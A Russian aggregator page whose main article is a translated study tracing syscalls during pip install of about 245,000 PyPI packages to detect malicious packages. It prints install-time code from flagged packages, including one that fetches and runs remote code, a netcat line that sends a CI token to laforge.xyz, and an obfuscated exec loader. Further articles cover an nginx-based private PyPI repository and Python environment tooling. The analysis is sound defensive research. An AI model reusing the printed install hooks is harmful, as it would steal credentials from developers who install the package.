Русский
Русский
English
Статистика
Реклама

Pip

Перевод Проверим тысячи пакетов PyPI на вредоносность

02.12.2020 12:23:30 | Автор: admin
Примерно год назад Python Software Foundation открыл Request for Information (RFI), чтобы обсудить, как можно обнаруживать загружаемые на PyPI вредоносные пакеты. Очевидно, что это реальная проблема, влияющая почти на любой менеджер пакетов: случаются захваты имён заброшенных разработчиками пакетов, эксплуатация опечаток в названиях популярных библиотек или похищение пакетов при помощи упаковки учётных данных.

Реальность такова, что менеджеры пакетов наподобие PyPI являются критически важной инфраструктурой, которой пользуется почти любая компания. Я мог бы многое написать по этой теме, но сейчас достаточно будет этого выпуска xkcd.



Эта область знаний мне интересна, поэтому я ответил своими мыслями о том, как мы можем подойти к решению проблемы. Весь пост стоит прочтения, но меня не оставляла в покое одна мысль: что происходит сразу же после установки пакета.

Такие действия, как установка сетевых соединений или исполнение команд во время процесса pip install всегда стоит воспринимать настороженно, поскольку они не дают разработчику почти никакой возможности изучить код до того, как случится что-то плохое.

Я хотел глубже исследовать этот вопрос, поэтому в посте расскажу о том, как установил и проанализировал каждый пакет PyPI в поисках вредоносной активности.

Как находить вредоносные библиотеки


Для выполнения произвольных команд во время установки авторы обычно добавляют код в файл setup.py своего пакета. Примеры можно увидеть в этом репозитории.

На высоком уровне для поиска потенциально вредоносных зависимостей мы можем выполнить два действия: просмотреть код на предмет наличия нехороших вещей (статический анализ) или рискнуть и просто установить их, чтобы посмотреть, что произойдёт (динамический анализ).

Хотя статический анализ очень интересен (благодаря grep я нашёл вредоносные пакеты даже в npm), в этом посте я рассмотрю динамический анализ. В конце концов, я считаю его более надёжным, ведь мы наблюдаем за тем, что происходит на самом деле, а не просто ищем неприятные вещи, которые могут произойти.

Так что же мы ищем?

Как выполняются важные действия


В общем случае, когда происходит что-то важное, то этот процесс выполняется ядром. Обычные программы (например, pip), желающие выполнять важные действия через ядро, используют syscalls. Открывание файлов, установка сетевых соединений, исполнение команд всё это выполняется через системные вызовы!

Подробнее об этом можно узнать из комикса Джулии Эванс:


Это означает, что если мы сможем наблюдать за syscalls во время установки пакета Python, то сможем понять, происходит ли что-то подозрительное. Преимущество такого подхода заключается в том, что он не зависит от степени обфускации кода мы видим именно то, что происходит на самом деле.

Важно отметить, что идею о наблюдении за syscalls придумал не я. Такие люди, как Адам Болдуин говорили об этом ещё с 2017 года. Кроме того, существует замечательная статья, опубликованная Технологическим институтом Джорджии, в которой, среди прочего, используется такой же подход. Честно говоря, в этом посте я просто буду пытаться воспроизвести их работу.

Итак, мы знаем, что хотим отслеживать syscalls, но как именно это делать?

Слежение за Syscalls при помощи Sysdig


Существует множество инструментов, предназначенных для наблюдения за syscalls. Для своего проекта я использовал sysdig, поскольку он обеспечивает и структурированный вывод, и удобные функции фильтрации.

Чтобы всё заработало, при запуске контейнера Docker, устанавливающего пакет, я также запускал процесс sysdig, отслеживающий события только из этого контейнера. Также я отфильтровал сетевые операции чтения/записи, идущие с/на pypi.org или files.pythonhosted.com, поскольку не хотел захламлять логи трафиком, относящимся к скачиванию пакетов.

Найдя способ перехватывания syscalls, я должен был решить ещё одну проблему: получить список всех пакетов PyPI.

Получаем пакеты Python


К счастью для нас, у PyPI есть API под названием Simple API, который также можно воспринимать как очень большую HTML-страницу со ссылкой на каждый пакет, потому что ею он и является. Это простая опрятная страница, написанная на очень качественном HTML.

Можно взять эту страницу и спарсить все ссылки при помощи pup, получив примерно 268 тысяч пакетов:

 curl https://pypi.org/simple/ | pup 'a text{}' > pypi_full.txt                wc -l pypi_full.txt   268038 pypi_full.txt

В этом эксперименте меня будет интересовать только самый последний релиз каждого пакета. Есть вероятность, что существуют вредоносные версии пакетов, погребённых в старых релизах, но счета за AWS сами себя не оплатят.

В результате я пришёл примерно к такому конвейеру обработки:


Если вкратце, мы отправляем имя каждого пакета набору инстансов EC2 (в будущем я бы хотел использовать что-то наподобие Fargate, но я не знаю Fargate, так что...), который получает метаданные о пакете из PyPI, а затем запускает sysdig, а также набор контейнеров для установки пакета через pip install, собирая при этом информацию о syscalls и сетевом трафике. Затем все данные передаются на S3, чтобы с ними разбирался я.

Вот как выглядит этот процесс:


Результаты


После завершения процесса у меня получился примерно терабайт данных, находящихся в S3 bucket и покрывающий примерно 245 тысяч пакетов. У некоторых пакетов не было опубликованных версий, у некоторых других имелись различные ошибки обработки, но в целом это выглядит как отличная выборка для работы.

Теперь интересная часть: куча grep анализ.

Я объединил метаданные и выходные данные, получив набор файлов JSON, которые выглядели примерно так:

{    "metadata": {},    "output": {        "dns": [],         // Any DNS requests made        "files": [],       // All file access operations        "connections": [], // TCP connections established        "commands": [],    // Any commands executed    }}

Затем я написал набор скриптов, чтобы начать собирать данные, пытаясь разобраться в том, что безобидно, а что вредоносно. Давайте изучим некоторые из результатов.

Сетевые запросы


Существует множество причин, по которым пакету может понадобиться создать сетевое подключение в процессе установки. Возможно, ему нужно скачать двоичные компоненты или другие ресурсы, это может быть некая аналитика или же он может пытаться извлечь данные или учётную информацию из системы.

В результате выяснилось, что 460 пакетов создают сетевые подключения к 109 уникальным хостам. Как и сказано в упомянутой выше статье, довольно многие из них вызваны тем, что пакеты имеют общую зависимость, создающую сетевое подключение. Можно отфильтровать их, сопоставив зависимости, но я этого ещё не делал.

Подробная разбивка DNS-запросов, наблюдаемых во время установки, находится здесь.

Исполнение команд


Как и в случае с сетевыми подключениями, у пакетов могут быть безвредные причины для выполнения системных команд при установке. Это может делаться для компилирования нативных двоичных файлов, настройки нужного окружения и так далее.

При изучении нашей выборки выяснилось, что во время установки исполняют команды 60 725 пакетов. И как и в случае с сетевыми подключениями, нужно помнить о том, что многие из них являются результатом зависимости от пакета, исполняющего команды.

Интересные пакеты


После изучения результатов большинство сетевых подключений и команд, как и ожидалось, выглядело безвредным. Но есть несколько случаев странного поведения, на которые я хотел указать, чтобы продемонстрировать полезность подобного вида анализа.

i-am-malicious


Пакет с именем i-am-malicious, похоже, является проверкой возможности концепции вредоносного пакета. Вот интересные подробности, дающие нам понимание того, что этот пакет стоит исследовать (если нам не было достаточно его названия):

{  "dns": [{          "name": "gist.githubusercontent.com",          "addresses": [            "199.232.64.133"          ]    }]  ],  "files": [    ...    {      "filename": "/tmp/malicious.py",      "flag": "O_RDONLY|O_CLOEXEC"    },    ...    {      "filename": "/tmp/malicious-was-here",      "flag": "O_TRUNC|O_CREAT|O_WRONLY|O_CLOEXEC"    },    ...  ],  "commands": [    "python /tmp/malicious.py"  ]}

Мы сразу же начинаем понимать, что здесь происходит. Видим подключение, выполняемое к gist.github.com, исполнение файла Python и создание файла с названием /tmp/malicious-was-here. Разумеется, это происходит именно в setup.py:

from urllib.request import urlopenhandler = urlopen("https://gist.githubusercontent.com/moser/49e6c40421a9c16a114bed73c51d899d/raw/fcdff7e08f5234a726865bb3e02a3cc473cecda7/malicious.py")with open("/tmp/malicious.py", "wb") as fp:    fp.write(handler.read())import subprocesssubprocess.call(["python", "/tmp/malicious.py"])

Файл malicious.py просто добавляет в /tmp/malicious-was-here сообщение вида я здесь был, намекая, что это действительно proof-of-concept.

maliciouspackage


Ещё один самозваный вредоносный пакет, изобретательно названный maliciouspackage, чуть более зловреден. Вот его вывод:

{  "dns": [{      "name": "laforge.xyz",      "addresses": [        "34.82.112.63"      ]  }],  "files": [    {      "filename": "/app/.git/config",      "flag": "O_RDONLY"    },  ],  "commands": [    "sh -c apt install -y socat",    "sh -c grep ci-token /app/.git/config | nc laforge.xyz 5566",    "grep ci-token /app/.git/config",    "nc laforge.xyz 5566"  ]}

Как и в первом случае, это даёт нам достаточное представление о происходящем. В данном примере пакет извлекает токен из файла .git/config и загружает его на laforge.xyz. Взглянув на setup.py, мы видим, что конкретно происходит:

...import osos.system('apt install -y socat')os.system('grep ci-token /app/.git/config | nc laforge.xyz 5566')

easyIoCtl


Любопытен пакет easyIoCtl. Заявляется, что он предоставляет абстракции от скучных операций ввода-вывода, но мы видим, что исполняются следующие команды:

[  "sh -c touch /tmp/testing123",  "touch /tmp/testing123"]

Подозрительно, но не наносит вреда. Однако это идеальный пример, демонстрирующий мощь отслеживания syscalls. Вот соответствующий код в setup.py проекта:

class MyInstall():    def run(self):        control_flow_guard_controls = 'l0nE@`eBYNQ)Wg+-,ka}fM(=2v4AVp![dR/\\ZDF9s\x0c~PO%yc X3UK:.w\x0bL$Ijq<&\r6*?\'1>mSz_^C\to#hiJtG5xb8|;\n7T{uH]"r'        control_flow_guard_mappers = [81, 71, 29, 78, 99, 83, 48, 78, 40, 90, 78, 40, 54, 40, 46, 40, 83, 6, 71, 22, 68, 83, 78, 95, 47, 80, 48, 34, 83, 71, 29, 34, 83, 6, 40, 83, 81, 2, 13, 69, 24, 50, 68, 11]        control_flow_guard_init = ""        for controL_flow_code in control_flow_guard_mappers:            control_flow_guard_init = control_flow_guard_init + control_flow_guard_controls[controL_flow_code]        exec(control_flow_guard_init)

При таком уровне обфускации сложно понять, что происходит. Традиционный статический анализ мог бы отследить вызов exec, но на этом всё.

Чтобы увидеть, что происходит, мы можем заменить exec на print, получив следующее:

import os;os.system('touch /tmp/testing123')

Именно эту команду мы отследили, и это демонстрирует, что даже обфускация кода не влиять на результаты, потому что мы выполняем отслеживание на уровне системных вызовов.

Что происходит, когда мы находим вредоносный пакет?


Стоит вкратце рассказать о том, что мы можем сделать, когда найдём вредоносный пакет. Первым делом нужно уведомить волонтёров PyPI, чтобы они могли убрать пакет. Это можно сделать, написав на security@python.org.

После этого можно посмотреть, сколько раз был скачан этот пакет, с помощью публичного массива данных PyPI на BigQuery.

Вот пример запроса, позволяющий узнать, сколько раз maliciouspackage был загружен за последние 30 дней:

#standardSQLSELECT COUNT(*) AS num_downloadsFROM `the-psf.pypi.file_downloads`WHERE file.project = 'maliciouspackage'  -- Only query the last 30 days of history  AND DATE(timestamp)    BETWEEN DATE_SUB(CURRENT_DATE(), INTERVAL 30 DAY)    AND CURRENT_DATE()

Выполнение этого запроса показывает, что он был скачан более 400 раз:


Двигаемся дальше


Пока мы лишь взглянули на PyPI в целом. Изучая данные, я не смог найти пакетов, производящих значимо вредоносные действия и не имеющие при этом в названии слова malicious. И это хорошо! Но всегда есть вероятность, что я что-то упустил, или это может произойти в будущем. Если вам любопытно поизучать данные, то их можно найти здесь.

В дальнейшем я напишу лямбда-функцию для получения последних изменений в пакетах при помощи RSS-фида PyPI. Каждый обновлённый пакет будет подвергаться такой же обработке и отправлять уведомление в случае обнаружения подозрительной активности.

Мне по-прежнему не нравится, что можно выполнять произвольные команды в системе пользователя просто при установке пакета через pip install. Я понимаю, что большинство случаев использования безвредно, но это открывает возможности угроз, которые необходимо учитывать. Надеюсь, что усилив мониторинг различных менеджеров пакетов, мы сможем обнаруживать признаки вредоносной активности до того, как они окажут серьёзное воздействие.

И такая ситуация не уникальна только для PyPI. Позже я надеюсь провести такой же анализ для RubyGems, npm и других менеджеров, как упомянутые выше исследователи. Весь код, использованный для проведения эксперимента можно найти здесь. Как всегда, если у вас есть какие-нибудь вопросы, задавайте их!



На правах рекламы


VDSina предлагает виртуальные серверы на Linux и Windows выбирайте одну из предустановленных ОС, либо устанавливайте из своего образа.

Подробнее..

Я сделал свой PyPI-репозитарий с авторизацией и S3. На Nginx

07.09.2020 16:04:06 | Автор: admin

В данной статье хочу поделится опытом работы с NJS, интерпретатора JavaScript для Nginx разрабатываемого в компании Nginx inc, описав на реальном примере его основные возможности. NJS это подмножество ЯП JavaScript, которое позволяет расширить функциональность Nginx. На вопрос зачем свой интерпретатор??? подробно ответил Дмитрий Волынцев. Если вкратце: NJS это nginx-way, а JavaScript более прогрессивный, родной и без GC в отличии от Lua.

A long time ago...

На прошлой работе в наследство мне достался gitlab с некоторым количеством разношерстых CI/CD-пайплайнов с docker-compose, dind и прочими прелестями, которые были переведены на рельсы kaniko. Образы же, которые использовались ранее в CI, переехали в первозданном виде. Работали они исправно до того дня, пока у нашего gitlab не сменился IP и CI превратился в тыкву. Проблема была в том, что в одном из docker-образов, участвовавшего в CI, был git, который по ssh тянул Python-модули. Для ssh нужен приватный ключ и ... он был в образе вместе с known_hosts. И любой CI завершался ошибкой проверки ключа из-за несовпадения реального IP и указанного в known_hosts. Из имеющихся Dockfile-ов был быстро собран новый образ и добавлена опция StrictHostKeyChecking no. Но неприятный привкус остался и появилось желание перенести либы в приватный PyPI-репозиторий. Дополнительным бонусом, после перехода на приватный PyPI, становился более простой пайплайн и нормальное описание requirements.txt

Выбор сделан, Господа!

Мы всё крутим в облаках и Kubernetes и в итоге хотелось получить небольшой сервис который представлял из себя stateless-контейнером с внешнем хранилищем. Ну а так как мы используем S3, то и приоритет был за ним. И по возможности с аутентификацией в gitlab (можно и самому дописать по необходимости).

Беглый поиск дал несколько результатов s3pypi, pypicloud и вариант с ручным созданием html-файлов для репы. Последний вариант отпал сам-собой.

s3pypi:Это cli для использования хостинга на S3. Выкладываем файлы, генерим html и заливаем в тот же бакет. Для домашнего использования подойдет.

pypicloud: Казался интересным проектом, но после прочтения доки пришло разочарование. Не смотря на хорошую документацию и возможности расширения под свои задачи, на деле оказался избыточен и сложный в настройке. Поправить код под свои задачи, по тогдашним прикидкам, заняло бы 3-5 дней. Так же сервису необходима БД. Оставили его на случай, если более ничего не найдем.

Более углубленный поиск дал модуль для Nginx, ngx_aws_auth. Результатом его тестирования стал XML отображаемый в браузере, по которому было видно содержимое бакета S3. Последний коммит, на момент поиска, был год назад. Репозиторий выглядел заброшенным.

Обратившись к первоисточнику и прочитав PEP-503 понял, что XML можно конвертировать в HTML налету и отдавать его pip. Ещё немного погуглив по словам Nginx и S3 наткнулся на пример аутентификации в S3 написанный на JS для Nginx. Так я познакомился с NJS.

Взяв за основу этотпример,через час наблюдал в своем браузере тот же XML, что и при использовании модуляngx_aws_auth, но написано уже все было на JS.

Решение на nginx мне очень нравилось. Во-первых хорошая документация и множество примеров, во-вторых мы получаем все плюшки Nginx по работе с файлами (из коробки), в-третьих любой человек умеющий писать конфиги для Nginx, сможет разобраться что к чему. Так же плюсом для меня является минимализм, по сравнению с Python или Go(если писать с нуля), не говоря уж об nexus.

TL;DR Через 2 дня тестовая версия PyPi уже была использована в CI.

Как это работает?

В Nginx подгружается модуль ngx_http_js_module, включен в официальный docker-образ. Импортируем наш скрипт c помощью директивы js_importв конфигурацию Nginx. Вызов функции осуществляется директивойjs_content. Для установки переменных используется директива js_set, которая аргументом принимает только функцию описанную в скрипте. А вот выполнять подзапросы в NJS мы можем только с помощью Nginx, ни каких Вам тамXMLHttpRequest. Для этого в конфигурации Nginx должен быть добавлен соответствующий локейшн. А в скрипте должен быть описан подзапрос (subrequest) к этому локейшену.Чтобы иметь возможность обратиться к функции из конфига Nginx, в самом скрипте имя функции необходимо экспортировать export default.

nginx.conf

load_module modules/ngx_http_js_module.so;http {  js_import   imported_name  from script.js;server {  listen 8080;  ...  location = /sub-query {    internal;    proxy_pass http://upstream;  }  location / {    js_contentimported_name.request;  }}

script.js

function request(r) {  function call_back(resp) {    // handler's code    r.return(resp.status, resp.responseBody);  }  r.subrequest('/sub-query', { method: r.method }, call_back);}export default {request}

При запросе в браузере http://localhost:8080/ мы попадаем в location /в котором директива js_content вызывает функцию request описанную в нашем скрипте script.js. В свою очередь в функции request осуществляется подзапрос к location = /sub-query, с методом (в текущем примере GET) полученным из аргумента (r), неявно передаваемым при вызове этой функции. Обработка ответа подзапроса будет осуществлена в функции call_back.

Пробуем S3

Чтобы сделать запрос к приватному S3-хранилищу, нам необходимы:

ACCESS_KEY

SECRET_KEY

S3_BUCKET

Из используемого http-метода, текущая дата/время,S3_NAME и URI генерируется определенного вида строка, которая подписывается (HMAC_SHA1) с помощьюSECRET_KEY. Далее строку, вида AWS $ACCESS_KEY:$HASH, можно использовать в заголовке авторизации. Та же дата/время, что была использована для генерации строки на предыдущем шаге, должна быть добавлена взаголовок X-amz-date.В коде это выглядит так:

nginx.conf

load_module modules/ngx_http_js_module.so;http {  js_import   s3      from     s3.js;  js_set      $s3_datetime     s3.date_now;  js_set      $s3_auth         s3.s3_sign;server {  listen 8080;  ...  location~* /s3-query/(?<s3_path>.*) {    internal;    proxy_set_header    X-amz-date     $s3_datetime;    proxy_set_header    Authorization  $s3_auth;    proxy_pass          $s3_endpoint/$s3_path;}  location~ "^/(?<prefix>[\w-]*)[/]?(?<postfix>[\w-\.]*)$" {    js_content s3.request;  }}

s3.js(пример авторизации AWS Sign v2, переведена в статус deprecated)

var crypt = require('crypto');var s3_bucket = process.env.S3_BUCKET;var s3_access_key = process.env.S3_ACCESS_KEY;var s3_secret_key = process.env.S3_SECRET_KEY;var _datetime = new Date().toISOString().replace(/[:\-]|\.\d{3}/g, '');function date_now() {  return _datetime}function s3_sign(r) {  var s2s = r.method + '\n\n\n\n';  s2s += `x-amz-date:${date_now()}\n`;  s2s += '/' + s3_bucket;  s2s += r.uri.endsWith('/') ? '/' : r.variables.s3_path;  return `AWS ${s3_access_key}:${crypt.createHmac('sha1', s3_secret_key).update(s2s).digest('base64')}`;}function request(r) {  var v = r.variables;  function call_back(resp) {    r.return(resp.status, resp.responseBody);  }  var _subrequest_uri =r.uri;  if (r.uri ==='/') {    // root    _subrequest_uri = '/?delimiter=/';  } else if (v.prefix !== '' && v.postfix === '') {    // directory    var slash = v.prefix.endsWith('/') ? '' : '/';    _subrequest_uri = '/?prefix=' + v.prefix + slash;}  r.subrequest(`/s3-query${_subrequest_uri}`, { method: r.method }, call_back);}export default {request,s3_sign,date_now}

Немного пояснения про _subrequest_uri: это переменная которая в зависимости от изначального uri формирует запрос к S3. Если нужно получить содержимое корня, в таком случае необходимо сформировать uri-запрос с указанием разделителя delimiter, который вернет список всех xml-элементов CommonPrefixes, что соответствует директориям (в случае с PyPI, список всех пакетов). Если нужно получить список содержимого в определенной директории (список всех версий пакетов), тогда uri-запрос должен содержатьполе prefix с именем директории (пакета) обязательно заканчивающийся на слэш /. В противном случае возможны коллизии при запросе содержимого директории, например. Есть директории aiohttp-request иaiohttp-requests и если в запросе будет указано /?prefix=aiohttp-request, тогда в ответе будет содержимое обеих директорий. Если же на конце будет слэш,/?prefix=aiohttp-request/, то в ответе будет только нужная директория. И если мы запрашиваем файл, то результирующий uri не должен отличать от изначального.

Сохраняем, перезапускаем Nginx. В браузере вводим адрес нашего Nginx, результатом работы запроса будет XML, например:

Список директорий
<?xml version="1.0" encoding="UTF-8"?><ListBucketResult xmlns="http://personeltest.ru/away/s3.amazonaws.com/doc/2006-03-01/">  <Name>myback-space</Name>  <Prefix></Prefix>  <Marker></Marker>  <MaxKeys>10000</MaxKeys>  <Delimiter>/</Delimiter>  <IsTruncated>false</IsTruncated>  <CommonPrefixes>    <Prefix>new/</Prefix>  </CommonPrefixes>  <CommonPrefixes>    <Prefix>old/</Prefix>  </CommonPrefixes></ListBucketResult>

Из списка директорий понадобятся только элементыCommonPrefixes.

Добавив, в браузере, к нашему адресу нужную нам директорию, получим ее содержимое так же в виде XML:

Список файлов в директории
<?xml version="1.0" encoding="UTF-8"?><ListBucketResult xmlns="http://personeltest.ru/away/s3.amazonaws.com/doc/2006-03-01/">  <Name>myback-space</Name>  <Prefix>old/</Prefix>  <Marker></Marker>  <MaxKeys>10000</MaxKeys>  <Delimiter></Delimiter>  <IsTruncated>false</IsTruncated>  <Contents>    <Key>old/giphy.mp4</Key>    <LastModified>2020-08-21T20:27:46.000Z</LastModified>    <ETag>&#34;00000000000000000000000000000000-1&#34;</ETag>    <Size>1350084</Size>    <Owner>      <ID>02d6176db174dc93cb1b899f7c6078f08654445fe8cf1b6ce98d8855f66bdbf4</ID>      <DisplayName></DisplayName>    </Owner>    <StorageClass>STANDARD</StorageClass>  </Contents>  <Contents>    <Key>old/hsd-k8s.jpg</Key>    <LastModified>2020-08-31T16:40:01.000Z</LastModified>    <ETag>&#34;b2d76df4aeb4493c5456366748218093&#34;</ETag>    <Size>93183</Size>    <Owner>      <ID>02d6176db174dc93cb1b899f7c6078f08654445fe8cf1b6ce98d8855f66bdbf4</ID>      <DisplayName></DisplayName>    </Owner>    <StorageClass>STANDARD</StorageClass>  </Contents></ListBucketResult>

Из списка файлов возьмем только элементыKey.

Остается полученный XML распарсить и отдать в виде HTML, предварительно заменив заголовок Content-Type на text/html.

function request(r) {  var v = r.variables;  function call_back(resp) {    var body = resp.responseBody;    if (r.method !== 'PUT' && resp.status < 400 && v.postfix === '') {      r.headersOut['Content-Type'] = "text/html; charset=utf-8";      body = toHTML(body);    }    r.return(resp.status, body);  }    var _subrequest_uri =r.uri;  ...}function toHTML(xml_str) {  var keysMap = {    'CommonPrefixes': 'Prefix',    'Contents': 'Key',  };  var pattern = `<k>(?<v>.*?)<\/k>`;  var out = [];  for(var group_key in keysMap) {    var reS;    var reGroup = new RegExp(pattern.replace(/k/g, group_key), 'g');    while(reS = reGroup.exec(xml_str)) {      var data = new RegExp(pattern.replace(/k/g, keysMap[group_key]), 'g');      var reValue = data.exec(reS);      var a_text = '';      if (group_key === 'CommonPrefixes') {        a_text = reValue.groups.v.replace(/\//g, '');      } else {        a_text = reValue.groups.v.split('/').slice(-1);      }      out.push(`<a href="http://personeltest.ru/aways/habr.com/${reValue.groups.v}">${a_text}</a>`);    }  }  return '<html><body>\n' + out.join('</br>\n') + '\n</html></body>'}

Пробуем PyPI

Проверяем, что ни где и ни чего не ломается на заведомо рабочих пакетах.

# Создаем для тестов новое окружениеpython3 -m venv venv. ./venv/bin/activate# Скачиваем рабочие пакеты.pip download aiohttp# Загружаем в приватную репуfor wheel in *.whl; do curl -T $wheel http://localhost:8080/${wheel%%-*}/$wheel; donerm -f *.whl# Устанавливаем из приватной репыpip install aiohttp -i http://localhost:8080

Повторяем с нашими либами.

# Создаем для тестов новое окружениеpython3 -m venv venv. ./venv/bin/activatepip install setuptools wheelpython setup.py bdist_wheelfor wheel in dist/*.whl; do curl -T $wheel http://localhost:8080/${wheel%%-*}/$wheel; donepip install our_pkg--extra-index-url http://localhost:8080

В CI, создание и загрузка пакета выглядит так:

pip install setuptools wheelpython setup.py bdist_wheelcurl -sSfT dist/*.whl -u "gitlab-ci-token:${CI_JOB_TOKEN}" "https://pypi.our-domain.com/${CI_PROJECT_NAME}"

Аутентификация

В Gitlab возможно использовать JWT для аутентификации/авторизации внешних сервисов. Воспользовавшись директивой auth_request в Nginx, перенаправим аутентификационные данные в подзапрос содержащий вызов функции в скрипте. В скрипте будет сделан ещё один подзапрос на url Gitlab-а и если аутентификационные данные указаны были верно, то Gitlab вернет код 200 и будет разрешена загрузка/скачивание пакета. Почему не воспользоваться одним подзапросом и сразу не отправить данные в Gitlab? Потому, что придется тогда править файл конфигурации Nginx каждый раз, как у нас будут какие-то изменения в авторизации, а это достаточно муторное занятие. Так же, если в Kubernetes используется политика read-only root filesystem, то это ещё больше добавляет сложностей при подмене nginx.conf через configmap. И становится абсолютно невозможна конфигурация Nginx через configmap при одновременном использованииполитикзапрещающих подключение томов (pvc) иread-only root filesystem (такое тоже бывает).

Используя промежуточным звеном NJS, мы получаем возможность менять указанные параметры в конфиге nginx с помощью переменных окружения и делать какие-нибудь проверки в скрипте (например, неверно указанного URL).

nginx.conf

location = /auth-provider {  internal;  proxy_pass $auth_url;}location = /auth {  internal;  proxy_set_header Content-Length "";  proxy_pass_request_body off;  js_content auth.auth;}location ~ "^/(?<prefix>[\w-]*)[/]?(?<postfix>[\w-\.]*)$" {  auth_request /auth;  js_content s3.request;}

s3.js

var env = process.env;var env_bool = new RegExp(/[Tt]rue|[Yy]es|[Oo]n|[TtYy]|1/);var auth_disabled  = env_bool.test(env.DISABLE_AUTH);var gitlab_url = env.AUTH_URL;function url() {  return `${gitlab_url}/jwt/auth?service=container_registry`}function auth(r) {  if (auth_disabled) {    r.return(202, '{"auth": "disabled"}');    return null}  r.subrequest('/auth-provider',                {method: 'GET', body: ''},                function(res) {                  r.return(res.status, "");                }  );}export default {auth, url}

Скорее всего назревает вопрос: -А почему бы не использовать готовые модули? Там ведь всё уже сделано! Например, var AWS = require('aws-sdk')и не надо писать"велосипед" с S3-аутентификацией!

Перейдем к минусам

Для меня, невозможность импортирование внешние JS-модулей, стало неприятной, но ожидаемой особенностью. Описанный в примере выше require('crypto'), это build-in-модули и require работает только для них. Так же нет возможности переиспользовать код из скриптов и приходится копи-пастить его по разным файлам. Надеюсь, что когда-нибудь этот функционал будет реализован.

Так же для текущего проекта в Nginx должно быть отключено сжатие gzip off;

Потому, что нет gzip-модуля в NJS и подключить его невозможно, соотвественно нет возможности работать с сжатыми данными. Правда, не особо это и минус для данного кейса. Текста не много, а передаваемые файлы уже сжатые и дополнительное сжатие им не особо поможет. Так же это не на столько нагруженный или критичный сервис, чтобы заморачиваться с отдачей контента на несколько миллисекунд быстрее.

Отладка скрипта долгая и возможна только через принты в error.log. В зависимости от выставленного уровня логирования info, warn или error возможно использовать 3 метода r.log, r.warn, r.error соответственно. Некоторые скрипты пытаюсь отлаживать в Chrome (v8) или консольной тулзе njs, но не все возможно там проверить. При отладке кода, ака функциональное тестирование, history выглядит примерно так:

docker-compose restart nginxcurl localhost:8080/docker-compose logs --tail 10 nginx

и таких последовательностей может быть сотни.

Написание кода с использование подзапросов и переменных для них, превращается в запутанный клубок. Иногда начинаешь метаться по разным окнам IDE пытаясь разобраться в последовательности действий твоего кода. Это не сложно, но иногда сильно напрягает.

Нет полноценной поддержки ES6.

Может есть и ещё какие-то недостатки, но ни с чем я более не сталкивался. Поделитесь инфой если у Вас есть отрицательный опыт эксплуатации NJS.

Заключение

NJS - легковесный open-source интерпретатор, позволяющий реализовать в Nginx разные сценарии на ЯП JavaScript. При его разработке было уделено большое внимание производительности. Конечно много чего в нём ещё не хватает, но проект развивается силами небольшой команды и они активно добавляют новые фичи и фиксят баги. Я же надеюсь, что когда-нибудь NJS позволит подключать внешние модули, что сделает функционал Nginx практически неограниченным. Но есть NGINX Plus и каких-то фич скорее всего не будет!

Репозиторий с полным кодом к статье

njs-pypi с поддержкой AWS Sign v4

Описание директив модуля ngx_http_js_module

Официальный репозиторий NJS и документация

Примеры использования NJS от Дмитрия Волынцева

njs - родной JavaScript-скриптинг в nginx / Выступление Дмитрия Волныева на Saint HighLoad++ 2019

NJS в production / Выступление Василия Сошникова на HighLoad++ 2019

Подпись и аутентификация REST-запросов в AWS

Подробнее..
Категории: Javascript , Development , Devops , Nginx , Pip , Gitlab-ci , Scripting , Pypi , Aws s3

Шпаргалка по pip, 6 заблуждений насчет AIOps, бесплатный онлайн-курс, а еще про Windows-программы на Linux

11.03.2021 18:13:13 | Автор: admin

Собрали много инсайтов, мероприятий, книжек и шпаргалок. Оставайтесь с нами станьте частью DevNation!

Узнать новое

  • Edge-вычисления и IoT идеальная парочка
    Edge локализует обработку данных как можно ближе к устройствам IoT, что положительно влияет на задержки, производительность, затраты и безопасность корпоративных ИТ-систем

Скачать

  • Шпаргалка по pip
    Поможет эффективно использовать pip менеджер сторонних пакетов для Python

Почитать на досуге

Мероприятия:

  • Виртуальный Red Hat Summit 2021, 27-28 апреля
    Бесплатная онлайн-конференция Red Hat Summit это отличный способ узнать последние новости ИТ-индустрии, задать свои вопросы техническим экспертам, услышать истории успеха непосредственно от заказчиков Red Hat и увидеть, как открытый код генерирует инновации в корпоративном секторе

Подробнее..

Перевод Настраиваем окружение Python с помощью pyenv, virtualenvwrapper, tox и pip-compile

20.06.2020 12:14:32 | Автор: admin


Эти инструменты упростят настройку и позволит автоматизировать рутинные операции. Они избавят разработчика от многих сложностей, которые мешают сосредоточиться на решении задач и комфортном написании кода.

Есть много способов настройки окружения Python. В этом материале об одном из них. Но это, безусловно, не является единственным решением.

Python это язык программирования общего назначения, который часто рекомендуют начинающим. За двадцать лет его существования написано несколько книг по Python. Хотя язык часто называют простым, настройка инструментария Python для разработки далеко не самая простая задача.


Настройка окружения Python достаточно сложна: xkcd

Используйте pyenv для управления версиями


На мой взгляд, это лучший менеджер версий Python. Однако стоит отметить, что pyenv работает на Linux, Mac OS X и WSL2: то есть, трёх UNIX-подобных средах.

Установка самого pyenv иногда может оказаться непростой. Но может помочь специальный установщик pyenv, который использует curl | bash для начальной загрузки.

Если вы используете Mac (или другую систему, в которой вы запускаете Homebrew), вы можете прочитать инструкции по установке и использованию pyenv здесь.

После установки и настройки pyenv вы можете использовать pyenv global для установки версии Python по умолчанию. Можете выбрать свою любимую версию. Обычно это самая последняя стабильная версия, но это не точно -)

Используйте virtualenvwrapper для настройки виртуального окружения


Для Python можно создавать виртуальные окружения, то есть помещать каждый проект в изолированную среду. Это можно сделать с помощью virtualenvwrapper. Тогда появляется возможность переключаться между виртуальными окружениями в любой момент.

Подробнее о настройке виртуального окружения можно прочесть здесь.

Если вам нужно многократно создавать и использовать одно и то же виртуальное окружение, имеет смысл автоматизировать процесс. На сегодняшний день мой выбор это tox.

Используйте tox для автоматизации


Tox отличный инструмент для автоматизации ваших тестов. В каждом окружении Python я создаю файл tox.ini. Независимо от того, какую систему я использую для непрерывной интеграции, всё будет работать. И я могу запустить его локально с помощью virtualenvwrapper:

$ workon runner
$ tox


Дело в том, что я тестирую свой код на нескольких версиях Python и нескольких версиях библиотечных зависимостей. Это означает, что tox будет работать в нескольких средах. В некоторых из них будут актуальные зависимости. В некоторых замороженные. Я мог бы также сгенерировать их локально с помощью pip-compile.

В последнее время я рассматриваю nox как на замену tox. В этой статье я не буду объяснять причины, но вам стоит обратить на него внимание.

Используйте pip-compile для управления зависимостями


Python каждый раз загружает свои зависимости на этапе выполнения кода. Понимание и контроль того, какая версия зависимостей используется поможет избежать неожиданных сбоев во время работы программы. Это означает, что мы должны подумать об инструментах управления зависимостями.

Для каждого нового проекта я подключаю файл require.in, который (как правило) содержит только один символ:

.

